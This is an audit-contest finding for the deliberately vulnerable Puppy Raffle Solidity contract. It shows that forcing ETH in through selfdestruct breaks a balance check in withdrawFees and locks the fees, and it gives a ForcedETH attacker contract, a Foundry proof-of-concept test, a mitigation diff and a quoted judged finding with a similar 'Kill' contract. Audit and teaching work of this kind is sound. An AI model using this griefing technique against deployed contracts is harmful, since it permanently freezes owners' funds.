Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Permanent lock of protocol fees in `PuppyRaffle::withdrawFees`` via forced ETH

kode_n_rolla

Description

  • Normal behavior: The withdrawFees function is intended to allow the protocol’s feeAddress to withdraw accumulated raffle fees once a raffle round has finished and no active players remain.
    Under normal conditions, the function should reliably transfer all collected protocol fees to feeAddress.

  • Problem: The withdrawFees function relies on the contract’s ETH balance as a proxy for internal accounting state by requiring address(this).balance == totalFees.
    However, ETH can be forcibly sent to the contract via mechanisms such as selfdestruct, bypassing all contract logic and without triggering receive or fallback functions.

    Once the contract balance is modified externally, this balance-based invariant is permanently broken, causing the withdrawFees require check to always revert.
    As a result, protocol fees become irrecoverably locked, even though no active players remain and the raffle continues to operate normally.

function withdrawFees() external {
// Balance-based invariant can be broken via forced ETH (e.g., selfdestruct),
// permanently blocking fee withdrawal
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • The protocol exposes a publicly callable fee withdrawal function that relies on the contract’s ETH balance as an implicit indicator of internal state, making it inherently sensitive to external balance changes.

  • ETH can be forcibly sent to the contract at any time via standard EVM mechanisms such as selfdestruct, without requiring any interaction with or permissions from the PuppyRaffle contract.

Impact:

  • Accumulated protocol fees become permanently locked, as withdrawFees() will consistently revert due to a broken balance-based invariant.

  • The protocol loses access to its revenue stream, creating an irreversible operational and financial impact even though core raffle functionality continues to operate.

Proof of Concept

ForcedETH.sol attacker contract in src/

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
contract ForcedETH {
constructor() payable {}
​
function attack(address payable _address) external {
// Force-send ETH to break balance-based invariant
selfdestruct(_address);
}
}

Add import to PuppyRaffleTest.t.sol:

import {ForcedETH} from "../src/ForcedETH.sol";

Test function:

function test_withdrawFees_DoS_viaForcedETH() public {
// Initialize players
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
​
// Game preparation
uint256 playersFunds = entranceFee * 4;
​
vm.deal(playerOne, playersFunds);
vm.prank(playerOne);
puppyRaffle.enterRaffle{value: playersFunds}(players);
​
uint256 fundsForDoS = 0.1 ether;
​
// Prepare and attack
address attacker = address(0xBaD);
​
vm.deal(attacker, fundsForDoS);
vm.startPrank(attacker);
ForcedETH forcedETH = new ForcedETH{value: fundsForDoS}();
forcedETH.attack(payable(address(puppyRaffle)));
vm.stopPrank();
​
// Time skip
vm.warp(puppyRaffle.raffleStartTime() + duration + 1);
​
// Select winner and end the game
vm.prank(playerOne);
puppyRaffle.selectWinner();
​
uint256 feeToWithdraw = (entranceFee * players.length) * 20 / 100;
uint256 expectedBalance = feeToWithdraw + fundsForDoS;
assertEq(address(puppyRaffle).balance, expectedBalance, "Forced ETH breaks balance-based invariant");
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
vm.prank(feeAddress);
puppyRaffle.withdrawFees();
}

Recommended Mitigation

Avoid using address(this).balance as a proxy for protocol state, since ETH can be forcibly sent to the contract (e.g., via selfdestruct), breaking balance-based invariants.

Instead, track raffle activity explicitly (e.g., via an activePlayersCount variable or a round state flag) and allow fee withdrawal based on internal accounting rather than the raw ETH balance. For example, maintain separate accounting for:

  • total fees accrued (totalFees)

  • total deposits owed to active players (or an explicit “raffle active” state)

Then gate withdrawFees() using those internal variables (e.g., require(activePlayersCount == 0)), and withdraw fees independently of any additional ETH that may have been force-sent to the contract.

Optionally, provide an admin recovery mechanism for unexpected ETH (excessETH = address(this).balance - trackedLiabilities) if such behavior is acceptable for the protocol’s trust model.

contract PuppyRaffle is ERC721, Ownable {
using Address for address payable;
uint256 public immutable entranceFee;
​
address[] public players;
+
+ // Track number of active (non-refunded) players explicitly.
+ // This avoids relying on address(this).balance, which can be modified via forced ETH (e.g., selfdestruct).
+ uint256 public activePlayersCount;
​
uint256 public raffleDuration;
uint256 public raffleStartTime;
...
constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
entranceFee = _entranceFee;
feeAddress = _feeAddress;
raffleDuration = _raffleDuration;
raffleStartTime = block.timestamp;
+ activePlayersCount = 0;
...
​
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]);
}
​
// Check for duplicates
for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}
+
+ // Only update after all checks pass (so we don't count players in reverted txs)
+ activePlayersCount = activePlayersCount + newPlayers.length;
+
emit RaffleEnter(newPlayers);
}
...
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+
+ // Update active player accounting (Solidity 0.7.x: ensure no underflow)
+ activePlayersCount = activePlayersCount - 1;
​
payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
​
...
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
- require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
+ require(activePlayersCount >= 4, "PuppyRaffle: Need at least 4 players");
​
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
- uint256 totalAmountCollected = players.length * entranceFee;
+ // Use active player count for accounting, since refunds leave holes in `players`.
+ uint256 totalAmountCollected = activePlayersCount * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
​
totalFees = totalFees + uint64(fee);
​
uint256 tokenId = totalSupply();
...
delete players;
+ activePlayersCount = 0;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
​
...
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ // Do not rely on address(this).balance, which can be externally modified via forced ETH (e.g., selfdestruct).
+ require(activePlayersCount == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!